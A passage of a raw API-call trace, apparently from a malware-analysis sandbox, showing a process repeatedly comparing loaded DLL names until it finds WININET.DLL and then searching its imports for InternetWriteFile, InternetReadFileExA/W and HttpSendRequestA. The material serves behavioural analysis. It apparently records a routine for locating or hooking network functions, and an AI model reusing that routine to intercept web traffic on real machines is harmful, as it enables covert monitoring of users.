(lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.651] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.651] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0073.651] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.651] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.651] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetWriteFile") returned 1 [0073.651] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned 1 [0073.651] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetWriteFile") returned 1 [0073.651] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.651] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetWriteFile") returned 1 [0073.652] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetWriteFile") returned 1 [0073.652] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetWriteFile") returned 1 [0073.652] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetWriteFile") returned -1 [0073.652] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetWriteFile") returned -1 [0073.652] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.652] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.652] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.652] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.652] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.653] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.653] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.653] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0073.653] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.653] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.653] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExA") returned -1 [0073.653] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned 1 [0073.653] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFileExA") returned 1 [0073.654] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFileExA") returned 1 [0073.654] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFileExA") returned 1 [0073.654] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExA") returned -1 [0073.654] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExA") returned -1 [0073.654] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.654] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.654] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.654] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.655] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.655] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.655] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExW") returned -1 [0073.655] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned 1 [0073.655] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFileExW") returned 1 [0073.656] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFileExW") returned 1 [0073.656] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFileExW") returned 1 [0073.656] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExW") returned -1 [0073.656] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExW") returned -1 [0073.656] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.656] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.656] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.656] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.657] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.657] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.657] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.657] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="HttpSendRequestA") returned 1 [0073.657] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpSendRequestA") returned 1 [0073.658] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="HttpSendRequestA") returned 1 [0073.658] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="HttpSendRequestA") returned 1 [0073.658] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="HttpSendRequestA") returned 1 [0073.658] 